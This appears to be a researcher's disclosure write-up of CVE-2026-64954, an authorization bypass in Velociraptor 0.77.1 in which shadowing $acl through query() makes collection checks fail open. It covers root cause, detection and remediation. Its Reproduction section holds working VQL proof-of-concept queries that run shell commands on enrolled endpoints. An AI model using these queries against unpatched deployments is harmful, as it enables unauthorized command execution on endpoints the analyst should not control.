The short version
Velociraptor stored its ACL manager in the ordinary VQL scope variable $acl.
The query() function allowed user-controlled environment data to shadow that
variable. Downstream code failed open when the replacement was not a valid ACL
manager, allowing a stock analyst to schedule artifacts that required both
COLLECT_CLIENT and EXECVE.
The issue was fixed before 0.77.2 and is tracked as CVE-2026-64954. Yuval Miller, Leon Kayaliev, and Tristan Madani reported the issue independently.
At a glance
| Field | Detail |
|---|---|
| Tested version | Velociraptor 0.77.1, commit 3137c7f71 |
| Fixed version | 0.77.2 |
| Vulnerability class | Missing authorization, CWE-862 |
| Vendor affected range | Velociraptor on Linux before 0.77.2 |
| Required access | Stock analyst with notebook/VQL access |
| Demonstrated impact | Command execution on an enrolled endpoint |
| Researcher estimate | Critical; proposed CVSS 3.1 score 9.9 |
What I was testing
I was looking at where VQL treats scope values as data and where it treats them
as authority. $acl stood out because it looked like an ordinary variable but
carried the caller’s security context. The question was simple: if a nested
query can supply its own environment, can it replace that value-and, if so,
does the next privileged operation reject the broken context or continue?
I kept the first experiment deliberately narrow. The same analyst, endpoint,
artifact, and command were used for both attempts; only the nested query()
environment changed. A normal call had to fail before the shadowed call meant
anything. I also verified the durable result in the created flow and on the
endpoint instead of treating a successful VQL row as proof of execution.
Reproduction
The analyst lacked both COLLECT_CLIENT and EXECVE. Calling the collection
function normally established the control:
SELECT collect_client(
client_id='CLIENT_ID',
artifacts=['Linux.Sys.BashShell'],
spec=dict(`Linux.Sys.BashShell`=dict(
Command='echo UNIQUE_MARKER; /usr/bin/id',
Stateful='N'))) AS result
FROM scope()
The operation was denied. The same collection was then wrapped in query()
with an environment value that replaced $acl:
SELECT * FROM query(
env=set(item=dict(), field='$acl', value='poison'),
query={
SELECT collect_client(
client_id='CLIENT_ID',
artifacts=['Linux.Sys.BashShell'],
spec=dict(`Linux.Sys.BashShell`=dict(
Command='echo UNIQUE_MARKER; /usr/bin/id',
Stateful='N'))) AS result
FROM scope()
})
On 0.77.1, Velociraptor scheduled a flow. When the disposable endpoint checked
in, its results contained the unique marker and real id output. The flow’s
creator was empty. A variant specifying another organization also scheduled a
collection where the analyst had no membership.
Root cause
The ACL manager was stored in a normal scope variable. query() constructed a
scope and then appended attacker-controlled environment variables, allowing
the internal value to be replaced.
When downstream code asked for the ACL manager, the poisoned value was not an
ACL-manager object. Instead of treating that as an authorization failure,
collection and repository paths used NullACLManager or equivalent permissive
handling. Checks for collection rights, artifact-required permissions, and
organization access then succeeded.
This is the dangerous combination:
Security context stored in user-visible namespace
+
Caller can shadow that namespace
+
Missing or invalid context fails open
=
Authorization bypass
The two fail-open sinks
Shadowing $acl was the enabling primitive, but the authorization bypass
occurred because two consumers treated an invalid security context as
permission to continue. In vql/server/flows/create.go,
CollectClientFunction.Call() attempted to retrieve the ACL manager and
substituted NullACLManager when that lookup failed. The repository plugin in
services/repository/plugin.go followed the same pattern during artifact
invocation.
The effective behavior was:
aclManager, ok := GetACLManager(scope)
if !ok {
aclManager = NullACLManager{} // approves checks
}
An invalid $acl value should have terminated evaluation. Instead, losing the
authenticated principal selected a more permissive authorization object. That
is why the bug crossed collection, artifact-required permission, and
organization boundaries at once.
Impact boundary
This primitive did not independently execute on the special server client.
Replacing $acl also removed the principal, and the server runner rejected an
empty principal. The demonstrated impact was command execution on enrolled
endpoints, not server-host SuperUser through this finding alone.
Detection notes
The clearest historical indicators are notebook queries that pass an env
containing $acl, flows with an empty creator, and collections launched into
organizations where the initiating user was not a member. None is sufficient
alone, but the combination is difficult to explain as routine administration.
For live monitoring, record the authenticated principal and resolved ACL manager at the final collection sink. Alert when that context is missing, malformed, or differs from the principal attached to the request. Invalid authorization state should be both observable and terminal; silently replacing it with a null or permissive manager hides the most useful detection signal.
Remediation
Upgrade to Velociraptor 0.77.2 or later. The vendor fix in
d7de958e
changes the collection and repository consumers to return an error when
GetACLManager fails. It does not make $acl non-shadowable; it makes the
demonstrated shadowing fail closed at the privileged sinks.
Keeping authorization context outside ordinary user-visible scope and
rejecting internal $ names in user environments remain worthwhile
defense-in-depth recommendations, but they are not descriptions of this patch.
Disclosure timeline
| Date | Event |
|---|---|
| 2026-08-03 | Vulnerability reported to Rapid7 |
| 2026-08-12 | Rapid7 confirmed the 0.77.2 fix and published CVE record |